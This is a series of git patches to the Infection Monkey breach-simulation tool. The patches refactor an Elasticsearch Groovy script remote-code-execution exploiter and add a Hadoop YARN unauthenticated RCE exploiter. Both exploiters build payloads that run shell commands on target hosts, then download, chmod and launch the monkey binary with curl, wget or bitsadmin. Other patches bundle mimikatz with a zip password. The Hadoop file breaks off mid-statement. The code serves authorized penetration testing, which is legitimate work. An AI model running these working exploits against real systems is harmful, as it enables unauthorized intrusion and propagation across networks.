Mon, 23 Jul 2018 12:04:18 +0300 Subject: [PATCH 174/243] Code cleaned and tested on ubuntu --- infection_monkey/exploit/elasticgroovy.py | 153 ---------------------- 1 file changed, 153 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index d056afb05..668a95ce3 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -85,159 +85,6 @@ class ElasticGroovyExploiter(WebRCE): return False return result[0] - def exploit_host_windows(self): - """ - TODO - Will exploit windows similar to smbexec - :return: - """ - return False - - def exploit_host_linux(self): - """ - Exploits linux using similar flow to sshexec and shellshock. - Meaning run remote commands to copy files over HTTP - :return: - """ - uname_machine = str(self.get_linux_arch()) - if len(uname_machine) != 0: - self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters - dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True # return already infected - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux): - return False - - self.set_file_executable_linux(dropper_target_path_linux) - self.run_monkey_linux(dropper_target_path_linux) - - if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): - LOG.info("Log file does not exist, monkey might not have run") - - return True - - def run_monkey_linux(self, dropper_target_path_linux): - """ - Runs the monkey - """ - - cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux) - cmdline += ' & ' - self.run_shell_command(cmdline) - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) - if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)): - LOG.info("Log file does not exist, monkey might not have run") - - def download_file_in_linux(self, src_path, target_path): - """ - Downloads a file in target machine using curl to the given target path - :param src_path: File path relative to the monkey - :param target_path: Target path in linux victim - :return: T/F - """ - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) - return False - download_command = '/usr/bin/curl %s -o %s' % ( - http_path, target_path) - self.run_shell_command(download_command) - http_thread.join(self.DOWNLOAD_TIMEOUT) - http_thread.stop() - if (http_thread.downloads != 1) or ( - 'ELF' not in - self.check_if_remote_file_exists_linux(target_path)): - LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) - return False - return True - - def set_file_executable_linux(self, file_path): - """ - Marks the given file as executable using chmod - :return: Nothing - """ - chmod = '/bin/chmod +x %s' % file_path - self.run_shell_command(chmod) - LOG.info("Marked file %s on host %s as executable", file_path, self.host) - - def check_if_remote_file_exists_linux(self, file_path): - """ - :return: - """ - cmdline = '/usr/bin/head -c 4 %s' % file_path - return self.run_shell_command(cmdline) - - def run_shell_command(self, command): - """ - Runs a single shell command and returns the result. - """ - payload = self.JAVA_CMD % command - result = self.get_command_result(payload) - LOG.info("Ran the command %s on host %s", command, self.host) - return result - - def get_linux_arch(self): - """ - Returns host as per uname -m - """ - return self.get_command_result(self.JAVA_GET_BIT_LINUX) - - def get_host_tempdir(self): - """ - Returns where to write our file given our permissions - :return: Temp directory path in target host - """ - return self.get_command_result(self.JAVA_GET_TMP_DIR) - - def get_host_os(self): - """ - :return: target OS - """ - return self.get_command_result(self.JAVA_GET_OS) - - def is_vulnerable(self): - """ - Checks if a given elasticsearch host is vulnerable to the groovy attack - :return: True/False - """ - result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) - return 'java.lang.Runtime' in result_text - - def get_command_result(self, payload): - """ - Gets the result of an attack payload with a single return value. - :param payload: Payload that fits the GENERIC_QUERY template. - """ - result = self.attack_query(payload) - if not result: # not vulnerable - return "" - return result[0] - - def attack_query(self, payload): - """ - Wraps the requests query and the JSON parsing. - Just reduce opportunity for bugs - :return: List of data fields or None - """ - response = requests.get(self.attack_url(), data=payload) - result = self.get_results(response) - return result - - def attack_url(self): - """ - Composes the URL to attack per host IP and port. - :return: Elasticsearch vulnerable URL - """ - return self.BASE_URL % (self.host.ip_addr, ES_PORT) - def get_results(self, response): """ Extracts the result data from our attack From a54eedec113d914a458fc675e61052770dd8e5bf Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 24 Jul 2018 15:55:34 +0300 Subject: [PATCH 175/243] Commands tested and working on windows. --- infection_monkey/exploit/elasticgroovy.py | 25 +++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 668a95ce3..51531957b 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -6,13 +6,14 @@ import json import logging - import requests - -from model import DROPPER_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth from exploit.web_rce import WebRCE +from model import WGET_HTTP_UPLOAD, POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED + +import copy +import re __author__ = 'danielg' @@ -34,6 +35,10 @@ class ElasticGroovyExploiter(WebRCE): DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder + # Both commands are prepared for use in future development + RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' + POWERSHELL_COMMAND = r"powershell -Command \\\"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing\\\"" + _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): @@ -56,14 +61,22 @@ class ElasticGroovyExploiter(WebRCE): if not vulnerable_urls: return False - if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], self._config): + # Extra escaping required: + config = copy.deepcopy(self._config) + config.dropper_target_path_win_32 = r"C:\\\\Windows\\\\monkey32.exe" + config.dropper_target_path_win_64 = r"C:\\\\Windows\\\\monkey64.exe" + + if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): return False - data = WebRCE.upload_monkey(self.host, self._config, exploiter, vulnerable_urls[0]) + commands = {'windows': self.RDP_CMDLINE_HTTP, + 'linux': WGET_HTTP_UPLOAD} + + data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0], commands) # We can't use 'if not' because response may be '' if data is not False and data['response'] == False: @@ -81,7 +94,7 @@ class ElasticGroovyExploiter(WebRCE): payload = self.JAVA_CMD % command response = requests.get(url, data=payload) result = self.get_results(response) - if not result: # not vulnerable + if not result: return False return result[0] From 76523e7379ce4652f77ecca478ba958c2aba5670 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 18 Aug 2018 16:49:33 +0300 Subject: [PATCH 176/243] Refactored elastic for latest framework changes --- infection_monkey/exploit/elasticgroovy.py | 28 +++++++------------ infection_monkey/network/mssql_fingerprint.py | 2 -- 2 files changed, 10 insertions(+), 20 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 51531957b..73fe359a5 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -8,11 +8,9 @@ import json import logging import requests from network.elasticfinger import ES_SERVICE, ES_PORT -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth from exploit.web_rce import WebRCE -from model import WGET_HTTP_UPLOAD, POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED +from model import WGET_HTTP_UPLOAD -import copy import re __author__ = 'danielg' @@ -49,48 +47,42 @@ class ElasticGroovyExploiter(WebRCE): if ES_SERVICE not in self.host.services: LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) return False - # We need a reference to the exploiter for WebRCE framework to use - exploiter = self.exploit # Build url from host and elastic port(not https) - urls = WebRCE.build_potential_urls(self.host, [[ES_PORT, False]], ['_search?pretty']) + urls = self.build_potential_urls([[ES_PORT, False]], ['_search?pretty']) vulnerable_urls = [] for url in urls: - if WebRCE.check_if_exploitable(exploiter, url): + if self.check_if_exploitable(url): vulnerable_urls.append(url) self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False - # Extra escaping required: - config = copy.deepcopy(self._config) - config.dropper_target_path_win_32 = r"C:\\\\Windows\\\\monkey32.exe" - config.dropper_target_path_win_64 = r"C:\\\\Windows\\\\monkey64.exe" - - if self.skip_exist and WebRCE.check_remote_files(self.host, exploiter, vulnerable_urls[0], config): + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True - if not WebRCE.set_host_arch(self.host, exploiter, vulnerable_urls[0]): + if not self.set_host_arch(vulnerable_urls[0]): return False commands = {'windows': self.RDP_CMDLINE_HTTP, 'linux': WGET_HTTP_UPLOAD} - data = WebRCE.upload_monkey(self.host, config, exploiter, vulnerable_urls[0], commands) + data = self.upload_monkey(vulnerable_urls[0], commands) # We can't use 'if not' because response may be '' - if data is not False and data['response'] == False: + if data is not False and data['response'] is False: return False - if WebRCE.change_permissions(self.host, vulnerable_urls[0], exploiter, data['path']) == False: + if self.change_permissions(vulnerable_urls[0], data['path']) is False: return False - if WebRCE.execute_remote_monkey(self.host, vulnerable_urls[0], exploiter, data['path'], True) == False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: return False return True def exploit(self, url, command): + command = re.sub(r"\\", r"\\\\\\\\", command) payload = self.JAVA_CMD % command response = requests.get(url, data=payload) result = self.get_results(response) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index ea4370d24..f973f3d87 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,8 +29,6 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - # TODO remove auto-return - return False assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From 56b3190cb58eb4e0c01e18773e8feb6ca304c5a6 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 24 Aug 2018 14:27:48 +0300 Subject: [PATCH 177/243] Refactored elastic according to latest web_rce framework changes. Tested on windows and linux --- infection_monkey/exploit/elasticgroovy.py | 58 +++++++---------------- 1 file changed, 16 insertions(+), 42 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 73fe359a5..f83fdc3e7 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -7,13 +7,12 @@ import json import logging import requests -from network.elasticfinger import ES_SERVICE, ES_PORT from exploit.web_rce import WebRCE from model import WGET_HTTP_UPLOAD import re -__author__ = 'danielg' +__author__ = 'danielg, VakarisZ' LOG = logging.getLogger(__name__) @@ -31,55 +30,30 @@ class ElasticGroovyExploiter(WebRCE): % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' - DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder - # Both commands are prepared for use in future development RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' - POWERSHELL_COMMAND = r"powershell -Command \\\"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing\\\"" + POWERSHELL_COMMAND = r"powershell -Command \\\"Invoke-WebRequest -Uri '%(http_path)s'" \ + r" -OutFile '%(monkey_path)s' -UseBasicParsing\\\"" _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) - def exploit_host(self): - # self.exploit_host_linux() - if ES_SERVICE not in self.host.services: - LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) - return False - # Build url from host and elastic port(not https) - urls = self.build_potential_urls([[ES_PORT, False]], ['_search?pretty']) - vulnerable_urls = [] - for url in urls: - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - self._exploit_info['vulnerable_urls'] = vulnerable_urls - if not vulnerable_urls: - return False + def get_exploit_config(self): + exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() + exploit_config['dropper'] = True + exploit_config['url_extensions'] = ['_search?pretty'] + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': self.RDP_CMDLINE_HTTP} + return exploit_config - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): - LOG.info("Host %s was already infected under the current configuration, done" % self.host) - return True - - if not self.set_host_arch(vulnerable_urls[0]): - return False - - commands = {'windows': self.RDP_CMDLINE_HTTP, - 'linux': WGET_HTTP_UPLOAD} - - data = self.upload_monkey(vulnerable_urls[0], commands) - - # We can't use 'if not' because response may be '' - if data is not False and data['response'] is False: - return False - - if self.change_permissions(vulnerable_urls[0], data['path']) is False: - return False - - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False: - return False - - return True + def get_open_service_ports(self, port_list, names): + # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service + valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) + elastic_service = [service for service in self.host.services if 'elastic-search' in service][0] + elastic_port = [elastic_service.lstrip('elastic-search-'), False] + valid_ports.append(elastic_port) + return valid_ports def exploit(self, url, command): command = re.sub(r"\\", r"\\\\\\\\", command) From d4262ef0bd0c3d2a6321560844af325c0472f48a Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 25 Aug 2018 18:13:44 +0300 Subject: [PATCH 178/243] Removed unused constants --- infection_monkey/exploit/elasticgroovy.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index f83fdc3e7..db07e00e1 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -19,16 +19,10 @@ LOG = logging.getLogger(__name__) class ElasticGroovyExploiter(WebRCE): # attack URLs - BASE_URL = 'http://%s:%s/_search?pretty' MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD - JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' - JAVA_GET_TMP_DIR = \ - GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' - JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_CMD = GENERIC_QUERY \ % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" - JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' # Both commands are prepared for use in future development RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' From 4d6472cce10e7c34fb743dc1720f208eb312b3d0 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 16:52:29 +0300 Subject: [PATCH 179/243] Ports are now taken from elastic_fingerprint module --- infection_monkey/exploit/elasticgroovy.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index db07e00e1..74be84a79 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -9,6 +9,7 @@ import logging import requests from exploit.web_rce import WebRCE from model import WGET_HTTP_UPLOAD +from network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -44,9 +45,8 @@ class ElasticGroovyExploiter(WebRCE): def get_open_service_ports(self, port_list, names): # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) - elastic_service = [service for service in self.host.services if 'elastic-search' in service][0] - elastic_port = [elastic_service.lstrip('elastic-search-'), False] - valid_ports.append(elastic_port) + if ES_SERVICE in self.host.services: + valid_ports.append([ES_PORT, False]) return valid_ports def exploit(self, url, command): From 5b6a9595f46dbdeb7268b3ce7bced16f6fbeae1d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 29 Aug 2018 16:56:55 +0300 Subject: [PATCH 180/243] mimikatz zip is now in datas --- infection_monkey/monkey.spec | 3 +-- infection_monkey/pyinstaller_utils.py | 1 + 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/infection_monkey/monkey.spec b/infection_monkey/monkey.spec index 2f536dcdc..b4449361b 100644 --- a/infection_monkey/monkey.spec +++ b/infection_monkey/monkey.spec @@ -1,7 +1,6 @@ # -*- mode: python -*- import os import platform -import zipfile # Name of zip file in monkey. That's the name of the file in the _MEI folder MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' @@ -25,7 +24,7 @@ a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINAR if platform.system().find("Windows") >= 0: a.datas = [i for i in a.datas if i[0].find('Include') < 0] - a.binaries += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] + a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] pyz = PYZ(a.pure) exe = EXE(pyz, diff --git a/infection_monkey/pyinstaller_utils.py b/infection_monkey/pyinstaller_utils.py index c31e7748c..d169bda6a 100644 --- a/infection_monkey/pyinstaller_utils.py +++ b/infection_monkey/pyinstaller_utils.py @@ -4,6 +4,7 @@ import sys __author__ = 'itay.mizeretz' + def get_binaries_dir_path(): """ Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise) From cd020668efd2833bded9fec10827ec76581950a0 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 29 Aug 2018 16:58:33 +0300 Subject: [PATCH 181/243] Add note regarding 7zip --- infection_monkey/readme.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/infection_monkey/readme.txt b/infection_monkey/readme.txt index 0096f98ab..c90b1f6af 100644 --- a/infection_monkey/readme.txt +++ b/infection_monkey/readme.txt @@ -74,4 +74,5 @@ Download both 32 and 64 bit zipped DLLs and place them under [code location]\inf Alternatively, if you build Mimikatz, put each version in a zip file. 1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll 2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. -3. The zip file should be named mk32.zip/mk64.zip accordingly. \ No newline at end of file +3. The zip file should be named mk32.zip/mk64.zip accordingly. +4. Zipping with 7zip has been tested. Other zipping software may not work. \ No newline at end of file From 304f5bd64353a7702114ff2d8c474aab34d6ae1e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 17:14:55 +0300 Subject: [PATCH 182/243] Removed unused commands --- infection_monkey/exploit/elasticgroovy.py | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 74be84a79..c4cc3e4a7 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from exploit.web_rce import WebRCE -from model import WGET_HTTP_UPLOAD +from model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP from network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -25,11 +25,6 @@ class ElasticGroovyExploiter(WebRCE): JAVA_CMD = GENERIC_QUERY \ % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" - # Both commands are prepared for use in future development - RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' - POWERSHELL_COMMAND = r"powershell -Command \\\"Invoke-WebRequest -Uri '%(http_path)s'" \ - r" -OutFile '%(monkey_path)s' -UseBasicParsing\\\"" - _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): @@ -39,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': self.RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): From 477836e1c996e280c1f7b8c6ad9729ea6020e37b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 17:19:51 +0300 Subject: [PATCH 183/243] Blank newline added to match source file --- infection_monkey/network/mssql_fingerprint.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index f973f3d87..d9361b033 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,6 +29,7 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ + assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From 83b1933296d8171b1d4266835cff1d4c79421c0b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 29 Aug 2018 10:20:02 -0400 Subject: [PATCH 184/243] Remove subcasing for classes --- monkey/infection_monkey/config.py | 23 ++++++++++------------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 0d8acd678..06445b9da 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -31,19 +31,16 @@ class Configuration(object): continue if self._depth_from_commandline and key == "depth": continue - if 'class' in key: - # handle in cases - if key == 'finger_classes': - class_objects = [getattr(network_import, val) for val in value] - setattr(self, key, class_objects) - elif key == 'scanner_class': - scanner_object = getattr(network_import, value) - setattr(self, key, scanner_object) - elif key == 'exploiter_classes': - class_objects = [getattr(exploit_import, val) for val in value] - setattr(self, key, class_objects) - else: - unknown_items.append(key) + # handle in cases + if key == 'finger_classes': + class_objects = [getattr(network_import, val) for val in value] + setattr(self, key, class_objects) + elif key == 'scanner_class': + scanner_object = getattr(network_import, value) + setattr(self, key, scanner_object) + elif key == 'exploiter_classes': + class_objects = [getattr(exploit_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) From a2bebca4bcbf94f6f682aac0156e05850256a80a Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 29 Aug 2018 17:20:43 +0300 Subject: [PATCH 185/243] spaces removed --- infection_monkey/network/mssql_fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index d9361b033..9409c2255 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -29,7 +29,7 @@ class MSSQLFinger(HostFinger): Discovered server information written to the Host info struct. True if success, False otherwise. """ - + assert isinstance(host, VictimHost) # Create a UDP socket and sets a timeout From f6cb7ab6551299c72416f41303f9fa4fa0eaf2c2 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 29 Aug 2018 11:09:11 -0400 Subject: [PATCH 186/243] Fix possible empty initialization of scanner class. Scanner now defaults to none, and we need to handle that case in the scanner. --- monkey/infection_monkey/network/network_scanner.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index cc0788154..f34c3b920 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -39,7 +39,15 @@ class NetworkScanner(object): LOG.info("Base local networks to scan are: %r", self._ranges) def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): - assert issubclass(scan_type, HostScanner) + """ + Finds machines according to the ranges specified in the object + :param scan_type: A hostscanner class, will be instanced and used to scan for new machines + :param max_find: Max number of victims to find regardless of ranges + :param stop_callback: A callback to check at any point if we should stop scanning + :return: yields a sequence of VictimHost instances + """ + if not scan_type: + return scanner = scan_type() victims_count = 0 From 5674bebfa67610a0f1eab75d45ffafb2ce28d1cd Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 30 Jul 2018 17:48:15 +0300 Subject: [PATCH 187/243] Core code written but nothing tested --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/hadoop.py | 95 +++++++++++++++++++ monkey_island/cc/services/config.py | 10 +- monkey_island/cc/services/report.py | 17 +++- .../cc/ui/src/components/pages/ReportPage.js | 24 ++++- 7 files changed, 146 insertions(+), 8 deletions(-) create mode 100644 infection_monkey/exploit/hadoop.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f8094817c..95a6e9605 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -149,7 +149,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi + ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter, HadoopExploiter # multi ] # how many victims to look for in a single scan iteration diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 1d6d4f0e9..e4ed17b8f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -38,7 +38,8 @@ "ElasticGroovyExploiter", "SambaCryExploiter", "Struts2Exploiter", - "WebLogicExploiter" + "WebLogicExploiter", + "HadoopExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index 346f6276b..d4456d20e 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -43,3 +43,4 @@ from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter from struts2 import Struts2Exploiter from weblogic import WebLogicExploiter +from hadoop import HadoopExploiter diff --git a/infection_monkey/exploit/hadoop.py b/infection_monkey/exploit/hadoop.py new file mode 100644 index 000000000..3490a3129 --- /dev/null +++ b/infection_monkey/exploit/hadoop.py @@ -0,0 +1,95 @@ +""" + Remote code execution on HADOOP server with YARN and default settings + Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn +""" + +import requests +import json +import random +import string +import logging +from exploit.web_rce import WebRCE +from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +import posixpath +from threading import Lock +from model import DROPPER_ARG + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + +class HadoopExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + HADOOP_PORTS = ["8088"] + LINUX_COMMAND = "wget -O %(monkey_path)s %(http_path)s " \ + "&& chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + WINDOWS_COMMAND = "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + + LOCK = Lock() + + def __init__(self, host): + super(HadoopExploiter, self).__init__(host) + + def exploit_host(self): + # Try to get exploitable url + exploitable_url = False + urls = WebRCE.build_potential_urls(self.host, self.HADOOP_PORTS) + for url in urls: + if self.try_exploit(url): + exploitable_url = url + break + if not exploitable_url: + LOG.info("No exploitable Hadoop server found") + return False + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Determine which destination path to use + LOG.debug("Monkey path found") + path = WebRCE.get_monkey_dest_path(self._config, src_path) + # Build command to execute + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + if 'linux' in self.host.os['type']: + command = self.LINUX_COMMAND % {"monkey_path": path, "http_path": src_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + else: + command = self.WINDOWS_COMMAND % {"monkey_path": path, "http_path": src_path, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd} + if not path: + return False + # To avoid race conditions we pass a locked lock to http servers thread + self.LOCK.acquire() + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, self.LOCK) + self.LOCK.acquire() + self.exploit(url, command) + + def exploit(self, url, command): + # Get the newly created application id + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + resp = 